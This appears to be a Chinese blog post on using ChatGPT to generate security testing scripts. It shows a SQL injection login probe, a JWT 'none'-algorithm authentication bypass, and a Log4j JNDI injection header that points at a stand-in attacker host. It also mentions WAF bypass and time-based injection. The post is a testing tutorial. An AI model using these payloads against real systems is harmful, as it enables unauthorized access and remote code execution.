使用 ChatGPT 辅助安全测试脚本生成-优快云博客

在信息安全日益受到重视的今天，安全测试已不再是安全团队的“专属领域”，而是贯穿整个软件开发生命周期（SDLC）的关键环节。如何高效、准确、批量地生成安全测试脚本，覆盖多种攻击路径和漏洞类型，是安全自动化的核心挑战之一。

而近年来大语言模型（LLM）的兴起，尤其是 ChatGPT 等模型的广泛应用，为安全测试提供了全新范式。它不仅可以理解安全需求、自动生成测试脚本，还能协助分析漏洞信息、构造攻击载荷、输出测试报告，帮助测试人员实现从“手动安全测试”到“智能化安全测试”的飞跃。

本文将围绕“如何使用 ChatGPT 辅助安全测试脚本生成”这一主题，从原理机制、实战流程、脚本案例、安全边界和未来展望等角度深入剖析，助力企业和技术人员构建更强大的安全测试体系。

一、为什么选择 ChatGPT 辅助生成安全测试脚本？

1.1 自动化能力强

ChatGPT 基于 GPT-4 架构，具备极强的自然语言理解和代码生成能力，能根据漏洞描述或攻击场景生成格式化测试脚本，极大提升测试效率。

1.2 安全语境理解深

得益于在大规模安全语料（如 CVE 描述、漏洞利用脚本、渗透测试文档）上的训练，ChatGPT 能识别常见漏洞类型如 XSS、SQL 注入、RCE、目录遍历等，并能自动联想相应测试方式。

1.3 支持多种语言与平台

ChatGPT 支持 Python、Bash、PowerShell、JavaScript 等脚本语言，能适配多种测试环境，包括 Burp Suite、ZAP、Postman、Selenium、Metasploit、nmap 等工具生态。

二、ChatGPT 辅助生成安全测试脚本的典型场景

2.1 Web 安全测试脚本生成

示例：SQL 注入测试脚本生成

提示词（Prompt）：

我正在测试一个 PHP Web 表单的 SQL 注入漏洞，表单包含用户名和密码字段，请帮我生成一个基于 Python 的脚本，用于测试 ' OR '1'='1 类型的注入是否生效。

ChatGPT 生成的脚本：

import requests

url = "http://example.com/login.php"
payload = {
    "username": "' OR '1'='1",
    "password": "' OR '1'='1"
}

response = requests.post(url, data=payload)

if "Welcome" in response.text:
    print("[+] 可能存在SQL注入漏洞！")
else:
    print("[-] 测试失败，未发现注入。")

ChatGPT 还可以继续回答：

如何修改 User-Agent、Referer 等头部绕过 WAF；
如何加入延时注入测试（如 SLEEP(5)）；
如何集成到 unittest 或 pytest 中。

2.2 API 安全测试脚本生成

示例：JWT 令牌篡改测试

Prompt：

我想测试某个基于 JWT 的认证 API 是否容易被伪造，Authorization 头部使用 Bearer token，请帮我构造一个 JWT 无签名绕过脚本。

ChatGPT 返回：

import jwt
import requests

url = "http://api.example.com/protected"
# 注意：此为攻击模拟，仅用于测试环境
fake_token = jwt.encode({"user": "admin"}, key='', algorithm='none')

headers = {"Authorization": f"Bearer {fake_token}"}

response = requests.get(url, headers=headers)

if response.status_code == 200:
    print("[+] API 存在无签名 JWT 绕过漏洞！")
else:
    print("[-] 无法绕过认证。")

2.3 漏洞 PoC 自动生成与变异

ChatGPT 可以根据 CVE 编号、NVD 描述、GitHub 漏洞利用代码等信息，生成或变异 PoC 代码。

示例：Log4j CVE-2021-44228 的初步测试脚本

import requests

headers = {
    "User-Agent": "${jndi:ldap://attacker.com/a}"
}

response = requests.get("http://vulnerable-site.com", headers=headers)
print("Request sent. Monitor LDAP server for callback.")

ChatGPT 可辅助：

自动化生成不同 header 注入版本；
使用环境变量快速切换攻击域；
构建回归测试模块。

三、实战流程：集成 ChatGPT 生成脚本到测试工作流

3.1 流程设计

[需求分析]
   ↓
[漏洞识别（CVE或业务分析）]
   ↓
[Prompt构建]
   ↓
[脚本生成 by ChatGPT]
   ↓
[人工审查与修正]
   ↓
[自动化运行]
   ↓
[结果分析与报告]

3.2 提示词设计建议（Prompt Engineering）

目标	提示词构造建议
精准漏洞模拟	描述攻击载荷、语言、工具、输入参数
构造变异测试	要求生成多种 payload 和 bypass 技术
集成测试框架	明确指定使用 unittest、pytest、JMeter 等框架
报告输出	请求生成测试报告输出逻辑